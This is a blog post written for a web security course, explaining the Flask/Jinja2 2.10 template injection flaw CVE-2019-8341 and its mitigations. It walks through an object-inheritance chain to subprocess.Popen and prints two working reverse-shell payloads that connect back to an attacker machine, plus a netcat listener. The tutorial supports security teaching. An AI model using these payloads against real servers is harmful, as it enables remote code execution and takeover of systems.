Abusing Templates and Inheritance – Why CVE-2019-8341 Works (Flask/Jinja2 2.10)
note: this blog was originally written for CSEC 380 (Principles of Web Application Security) @ RIT
Introduction
Flask is micro web framework that is able to receive requests, execute functions, and return the result of the function to the requesting web client. It Is classified as a Web Server Gateway Interface (“WSGI"). WSGIs are constantly running on the server machine (calling a function upon receiving a request), while classical CGI webservers call a script upon receiving a request.
Flask relies on Werkzeug, a WSGI utility library, and Jinja, a templating engine. This allows for the server to easily customize webpages given the parameters of a request.
When used correctly, Flask is a very powerful tool due to the customization it provides. However, this customization can come at the cost of security, in an ill-configured environment.
This blog post is aimed at readers with a low-moderate understanding of how python objects work, as it dives into python object inheritance.
What is CVE-2019-8341?
CVE-2019-8341 is a disputed vulnerability that exists within Jinja2 2.10. When creating an Jinja2 environment from a string), it interprets {{
as a print statement starting, and }}
as a print statement ending. So if {{ some code }}
was located in the python string, it would attempt to print it, resulting in some code
being evaluated.
Practically, when Jinja2 loads a template containing {{ message }}
, it expects said template to be given a parameter, such as Template.render(message ="hello world")
. This will result in {{ message }}
being replaced with hello world
. This is considered safe because it automatically escapes any characters that could be interpreted as commands.
CVE-2019-8341 is disputed because {{ some untrusted code }}
should never exist in a template to begin with1. It is argued that Jinja2 2.10 works as expected, as it is simply rendering the HTML given to it. from_string
is intended to only render a trusted string, provided by the server, rather than an untrusted string, provided by the client.
In the following example, an environment is created from a basic HTML snippet, to demonstrate the functionality of from_string
:
Hypothesis
If the Flask/Jinja2 webserver is vulnerable to basic server side template injection (SSTI), sending the parameter {{ 2 * 2 }}
will cause Jinja to evaluate 2 * 2
, resulting it in displaying 4
.
If our hypothesis is proven as true, we can attempt to use python inheritance to gain a reverse shell onto the webserver.
Testing Environment
A docker environment was prepared with the python:3.8 image. To collect the right version of Jinja2, a requirements.txt file containing the following was downloaded:
Jinja2==2.10.0
Flask==0.12.2
requests==2.18.2
The flask server was configured to serve two items, one being the stylesheet for the page, and the other being the page’s HTML. The page’s HTML is formatted with the message that the client provides.
Flask’s render_template_string
is used, as it relies on Jinja2’s from_string
. This provides a more realistic example, as when using flask, there is never a reason to directly call Jinja2’s from_string—especially on untrusted content.
Figure 1: The Flask/Jinja2 2.10 application. Note: “HTML" is set to a string containing the code seen in figure 2
Figure 2 – The source code for the example website
Figure 3 – Result of passing the parameter “hello world"
Figure 4 – Attack Breakdown
The Attack
Part 1: Testing for SSTI
Now that we understand how the server side template injection (SSTI) can occur, we can immediately test our hypothesis by passing ?message={{ 2 * 2 }}
. Major browsers like Chrome will take care of the encoding behind the scenes.
As we can see, this results in the webpage displaying 4:
Part 2: Utilizing python object inheritance
Now that we know the server will evaluate the code that we give it, we can attempt to traverse the python object tree until we reach a useful command.
"" is a string, who’s class str is an object—and like all python objects, it has a __class__
method. The expression "".__class__
evaluates to str. Here is the result from putting "".__class__
as the message parameter:
Now that we have a literal str object, we can assess its methods. One of these methods is __mro__
, which stands for method resolution order. Essentially, MRO tells python in what order the classes’ methods should be resolved2. This order begins with the class itself (‘str’ in our case), before moving onto its parent(s).
Now, when we pass "".__class__.__mro__
, we can see the tuple (str, object):
Bingo! The “object" class is located. This happens because all objects inherit the object class. Since all objects inherit the object class, all objects are subclasses of the object class. We can then index the tuple that __mro__
returns to select object, and then check its subclasses. Our command is now "".__class__.__mro__[1].__subclasses__()
One of these subclasses is subprocess.Popen, which allows for python to create child processes on the machine. Again, we must grab the index of the function we want.
A quick copy and paste into an ipython script gives us the index subprocess.Popen, being 411.
Now appending 411 to our command: "".__class__.__mro__[1].__subclasses__()[411]
To test command execution, we can tell subprocess.Popen to execute “ls", and communicate the results. This is done by appending ('ls',shell=True,stdout=-1).communicate()[0]
to our command.
"".__class__.__mro__[1].__subclasses__()[411]('ls',shell=True,stdout=-1).communicate()[0]
Part 3: Reverse Shell
Although a reverse shell is out of the scope of the vulnerability, it helps demonstrate the immense power one could take over a vulnerable Flask/Jinja2.0 server using from_string. It is also obligatory when pwning a machine.
Feel free to skip to the Mitigations section.
We can spin up a netcat listener by executing nc -lv 4445
. This is being ran on the host MacOS machine. If it was Kali, you would enter sudo nc -lvnp [port]
.
Our final command is:
"".__class__.__mro__[1].__subclasses__()[411]('export RHOST="192.168.65.2"; export RPORT=4445; python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")\'',shell=True,stdout=-1)
When executed, the website acts as normal—despite the subprocess executing:
While on our machine we see that the netcat listener has picked up a connection to the target:
Here is one more flask reverse shell to try in the event that the command above does not stay connected to your attack box:
{{"".__class__.__mro__[1].__subclasses__()[441]('python -c \'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("192.168.65.2",4445));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())\'',shell=True,stdout=-1)}}
Mitigations
Despite from_string receiving numerous patches, SSTI has still been possible by using other characters and formats3. The underlying issue—and the reason the CVE is disputed—continues to be flask/Jinja2 servers that render untrusted content into a template. At the highest level, this issue could be mitigated entirely by first rendering a template, then passing variables as parameters.
Figure 5 – Formatting a string prior to rendering a template
Figure 6 – Correctly rendering a template with context
In general, it is considered bad practice to use untrusted content—threats are constantly evolving, and more exploits exist. At a minimum, content should be filtered for characters such as {
and }
, even if Jinja2 escapes characters. Best practice requires validation against character whitelist—containing only characters that the server is prepared to handle4.
Conclusion
Flask is a webserver—similar to Nginx and Apache—and should be treated as such. User controlled inputs should not be trusted and have whitelists. Additionally, Flask should be run in a restricted environment, only having the minimum required operating permissions.